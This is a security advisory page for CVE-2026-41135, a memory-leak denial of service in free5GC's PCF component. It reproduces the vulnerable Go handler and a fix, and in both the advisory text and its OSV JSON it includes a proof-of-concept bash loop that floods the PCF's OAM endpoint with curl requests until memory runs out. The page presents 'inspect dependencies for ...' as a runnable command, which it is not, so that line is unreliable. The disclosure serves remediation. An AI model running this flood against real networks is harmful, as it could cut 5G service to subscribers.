CVE-2026-41135: free5GC PCF Denial of Service Vulnerability

HIGH
Advisory Identifier: GHSA-98cp-84m9-q3qp
CVSS 7.5
CWE-400
Published
Advisory Summary

CVE-2026-41135 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting free5GC PCF libraries in the Go ecosystem. The issue involves memory leak via cors middleware registration in http handler leads to denial of service. Remediation is available by upgrading affected packages to version 1.4.3.

CVE-2026-41135 at a Glance

CVE Identifier CVE-2026-41135
GHSA Identifier GHSA-98cp-84m9-q3qp
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-400: Uncontrolled Resource Consumption
Affected Product free5GC PCF
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-41135

To remediate this vulnerability, upgrade all affected free5GC PCF dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/free5gc/pcf fixed: 1.4.3
Upgrade github.com/free5gc/pcf to 1.4.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/free5gc/pcf

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-41135, inspect your project dependencies for free5GC PCF:

inspect dependencies for github.com/free5gc/pcf

Analyze the terminal output to locate any version of free5GC PCF in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.4.3), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In free5GC PCF, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary A memory leak vulnerability in the free5GC PCF (Policy Control Function) allows any unauthenticated attacker with network access to the PCF SBI interface to cause uncontrolled memory growth by sending repeated HTTP requests to the OAM endpoint. The root cause is a `router.Use()` call inside an HTTP handler that registers a new CORS middleware on every incoming request, permanently growing the Gin router's handler chain. This leads to progressive memory exhaustion and eventual Denial of Service of the PCF, preventing all UEs from obtaining AM and SM policies and blocking 5G session establishment. ## Details **File:** `free5gc/pcf/internal/sbi/api_oam.go` **Function:** `setCorsHeader()`, called by `HTTPOAMGetAmPolicy()` The function `setCorsHeader()` invokes `s.router.Use()` on every incoming HTTP request: ```go func (s *Server) setCorsHeader(c *gin.Context) { // BUG: router.Use() inside a handler — executes on every request s.router.Use(cors.New(cors.Config{ AllowMethods: []string{"GET", "POST", "OPTIONS", "PUT", "PATCH", "DELETE"}, AllowAllOrigins: true, AllowCredentials: true, MaxAge: CorsConfigMaxAge, })) // Redundant manual header setting c.Writer.Header().Set("Access-Control-Allow-Origin", "*") c.Writer.Header().Set("Access-Control-Allow-Credentials", "true") // ... } func (s *Server) HTTPOAMGetAmPolicy(c *gin.Context) { s.setCorsHeader(c) // ← called on every GET /npcf-oam/v1/am-policy/:supi // ... } ``` In the Gin framework, `router.Use()` appends a new `HandlerFunc` to the router's internal middleware slice. This operation is **not idempotent** — it does not replace existing middleware but appends a new instance on every call. After N requests, Gin executes N CORS middleware instances before reaching the actual handler: Request N → [cors_mw_1 → cors_mw_2 → ... → cors_mw_N → actual_handler] Since `s.router` holds a permanent reference to the accumulated middleware slice, the Go garbage collector cannot free this memory. The additional issue of `AllowAllOrigins: true` combined with `AllowCredentials: true` also constitutes a CORS misconfiguration (forbidden by the CORS specification), though this is secondary to the memory leak. **Fix:** Move `router.Use(cors.New(...))` to the server initialization function (called once at startup), and remove `setCorsHeader()` from all handlers entirely: ```go // ✅ server.go — called once at startup func (s *Server) initRouter() { s.router.Use(cors.New(cors.Config{ AllowMethods: []string{"GET", "POST", "OPTIONS", "PUT", "PATCH", "DELETE"}, AllowOrigins: []string{"https://trusted-origin.example.com"}, AllowCredentials: false, MaxAge: CorsConfigMaxAge, })) } ``` ## PoC **Environment:** - free5GC v4.2.1 (commit `df535f55`, build `2026-03-04`) - PCF container IP: `10.22.22.6`, port `80` - Attacker: any container on the same Docker network (tested from UDM container) - No authentication required (OAuth2 disabled) **Step 1** — Record memory baseline: ```bash docker stats --no-stream | grep pcf # Output: 24.86 MiB ``` **Step 2** — Launch flood from attacker container: ```bash for i in $(seq 1 5000); do curl -s http://10.22.22.6/npcf-oam/v1/am-policy/imsi-222771234567890 > /dev/null & [ $((i % 100)) -eq 0 ] && wait && echo "[*] $i req sent" done wait ``` **Step 3** — Monitor memory growth: ```bash watch -n 2 "docker stats --no-stream | grep pcf" ``` **Results:** | Requests sent | PCF Memory | Delta | |---------------|------------|------------| | 0 (baseline) | 24.86 MiB | — | | ~5,000 | 46.48 MiB | +21.62 MiB | | ~10,000 | 58.59 MiB | +12.11 MiB | | ~15,000 | 70.30 MiB | +11.71 MiB | | ~100,000 (projected) | ~170+ MiB | OOM kill | Memory never returns to baseline between request batches, confirming permanent retention by the router's middleware chain. ## Impact **Vulnerability type:** Uncontrolled Resource Consumption (Memory Exhaustion) leading to Denial of Service. **Who is impacted:** Any deployment of free5GC where the PCF OAM interface is reachable from the internal 5G core network. Since all 5G core NFs share the same Docker network by default, any compromised or attacker-controlled NF container can trigger this vulnerability without credentials. **5G service impact:** The PCF is responsible for providing AM (Access and Mobility) policies to the AMF and SM (Session Management) policies to the SMF. A DoS of the PCF prevents: - New UE registrations (AM policy creation fails) - New PDU session establishment (SM policy creation fails) - Policy updates for existing sessions In a production deployment this would result in complete loss of 5G service for all subscribers served by the affected PCF instance.

CVE-2026-41135 Affected free5GC PCF Versions

1 component(s)
Fixed Versions:
1.4.3
Product / Package Ecosystem Affected Versions Fixed Version
github.com/free5gc/pcf
Go
< 1.4.3
1.4.3

References

Frequently Asked Questions

What is CVE-2026-41135?
CVE-2026-41135 is a security vulnerability in free5GC PCF involving Memory Leak via CORS Middleware Registration in HTTP Handler Leads to Denial of Service under CWE-400: Uncontrolled Resource Consumption.
Which free5GC PCF versions are affected?
Affected versions include releases prior to 1.4.3 across affected packages: github.com/free5gc/pcf.
What version fixes CVE-2026-41135?
Upgrading to 1.4.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/free5gc/pcf affected?
Yes, github.com/free5gc/pcf is affected in releases prior to 1.4.3. Upgrade your dependency to 1.4.3 or later.
What is the CVSS score of CVE-2026-41135?
CVE-2026-41135 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-41135?
CVE-2026-41135 is classified under CWE-400: Uncontrolled Resource Consumption (The product does not properly control the allocation and maintenance of a limited resource.).
How can I check Go dependencies for CVE-2026-41135?
Run the dependency tree command: 'inspect dependencies for github.com/free5gc/pcf'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-98cp-84m9-q3qp",
  "modified" : "2026-04-22T19:49:45Z",
  "published" : "2026-04-22T19:49:45Z",
  "aliases" : [ "CVE-2026-41135" ],
  "summary" : "free5GC PCF: Memory Leak via CORS Middleware Registration in HTTP Handler Leads to Denial of Service",
  "details" : "## Summary\n\nA memory leak vulnerability in the free5GC PCF (Policy Control Function) allows any unauthenticated attacker with network access to the PCF SBI interface to cause uncontrolled memory growth by sending repeated HTTP requests to the OAM endpoint. The root cause is a `router.Use()` call inside an HTTP handler that registers a new CORS middleware on every incoming request, permanently growing the Gin router's handler chain. This leads to progressive memory exhaustion and eventual Denial of Service of the PCF, preventing all UEs from obtaining AM and SM policies and blocking 5G session establishment.\n\n## Details\n\n**File:** `free5gc/pcf/internal/sbi/api_oam.go`  \n**Function:** `setCorsHeader()`, called by `HTTPOAMGetAmPolicy()`\n\nThe function `setCorsHeader()` invokes `s.router.Use()` on every incoming HTTP request:\n\n```go\nfunc (s *Server) setCorsHeader(c *gin.Context) {\n    // BUG: router.Use() inside a handler — executes on every request\n    s.router.Use(cors.New(cors.Config{\n        AllowMethods:     []string{\"GET\", \"POST\", \"OPTIONS\", \"PUT\", \"PATCH\", \"DELETE\"},\n        AllowAllOrigins:  true,\n        AllowCredentials: true,\n        MaxAge:           CorsConfigMaxAge,\n    }))\n    // Redundant manual header setting\n    c.Writer.Header().Set(\"Access-Control-Allow-Origin\", \"*\")\n    c.Writer.Header().Set(\"Access-Control-Allow-Credentials\", \"true\")\n    // ...\n}\n\nfunc (s *Server) HTTPOAMGetAmPolicy(c *gin.Context) {\n    s.setCorsHeader(c) // ← called on every GET /npcf-oam/v1/am-policy/:supi\n    // ...\n}\n```\nIn the Gin framework, `router.Use()` appends a new `HandlerFunc` to the router's internal middleware slice. This operation is **not idempotent** — it does not replace existing middleware but appends a new instance on every call. After N requests, Gin executes N CORS middleware instances before reaching the actual handler:\n\nRequest N → [cors_mw_1 → cors_mw_2 → ... → cors_mw_N → actual_handler]\n\nSince `s.router` holds a permanent reference to the accumulated middleware slice, the Go garbage collector cannot free this memory. The additional issue of `AllowAllOrigins: true` combined with `AllowCredentials: true` also constitutes a CORS misconfiguration (forbidden by the CORS specification), though this is secondary to the memory leak.\n\n**Fix:** Move `router.Use(cors.New(...))` to the server initialization function (called once at startup), and remove `setCorsHeader()` from all handlers entirely:\n\n```go\n// ✅ server.go — called once at startup\nfunc (s *Server) initRouter() {\n    s.router.Use(cors.New(cors.Config{\n        AllowMethods:     []string{\"GET\", \"POST\", \"OPTIONS\", \"PUT\", \"PATCH\", \"DELETE\"},\n        AllowOrigins:     []string{\"https://trusted-origin.example.com\"},\n        AllowCredentials: false,\n        MaxAge:           CorsConfigMaxAge,\n    }))\n}\n```\n## PoC\n\n**Environment:**\n- free5GC v4.2.1 (commit `df535f55`, build `2026-03-04`)\n- PCF container IP: `10.22.22.6`, port `80`\n- Attacker: any container on the same Docker network (tested from UDM container)\n- No authentication required (OAuth2 disabled)\n\n**Step 1** — Record memory baseline:\n```bash\ndocker stats --no-stream | grep pcf\n# Output: 24.86 MiB\n```\n\n**Step 2** — Launch flood from attacker container:\n```bash\nfor i in $(seq 1 5000); do\n    curl -s http://10.22.22.6/npcf-oam/v1/am-policy/imsi-222771234567890 > /dev/null &\n    [ $((i % 100)) -eq 0 ] && wait && echo \"[*] $i req sent\"\ndone\nwait\n```\n\n**Step 3** — Monitor memory growth:\n```bash\nwatch -n 2 \"docker stats --no-stream | grep pcf\"\n```\n\n**Results:**\n\n| Requests sent | PCF Memory | Delta      |\n|---------------|------------|------------|\n| 0 (baseline)  | 24.86 MiB  | —          |\n| ~5,000        | 46.48 MiB  | +21.62 MiB |\n| ~10,000       | 58.59 MiB  | +12.11 MiB |\n| ~15,000       | 70.30 MiB  | +11.71 MiB |\n| ~100,000 (projected) | ~170+ MiB | OOM kill |\n\nMemory never returns to baseline between request batches, confirming permanent retention by the router's middleware chain.\n\n## Impact\n\n**Vulnerability type:** Uncontrolled Resource Consumption (Memory Exhaustion) leading to Denial of Service.\n\n**Who is impacted:** Any deployment of free5GC where the PCF OAM interface is reachable from the internal 5G core network. Since all 5G core NFs share the same Docker network by default, any compromised or attacker-controlled NF container can trigger this vulnerability without credentials.\n\n**5G service impact:** The PCF is responsible for providing AM (Access and Mobility) policies to the AMF and SM (Session Management) policies to the SMF. A DoS of the PCF prevents:\n- New UE registrations (AM policy creation fails)\n- New PDU session establishment (SM policy creation fails)\n- Policy updates for existing sessions\n\nIn a production deployment this would result in complete loss of 5G service for all subscribers served by the affected PCF instance.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/free5gc/pcf"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.4.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/free5gc/free5gc/security/advisories/GHSA-98cp-84m9-q3qp"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-41135"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/free5gc/free5gc"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-22T19:49:45Z",
    "nvd_published_at" : "2026-04-22T00:16:29Z"
  }
}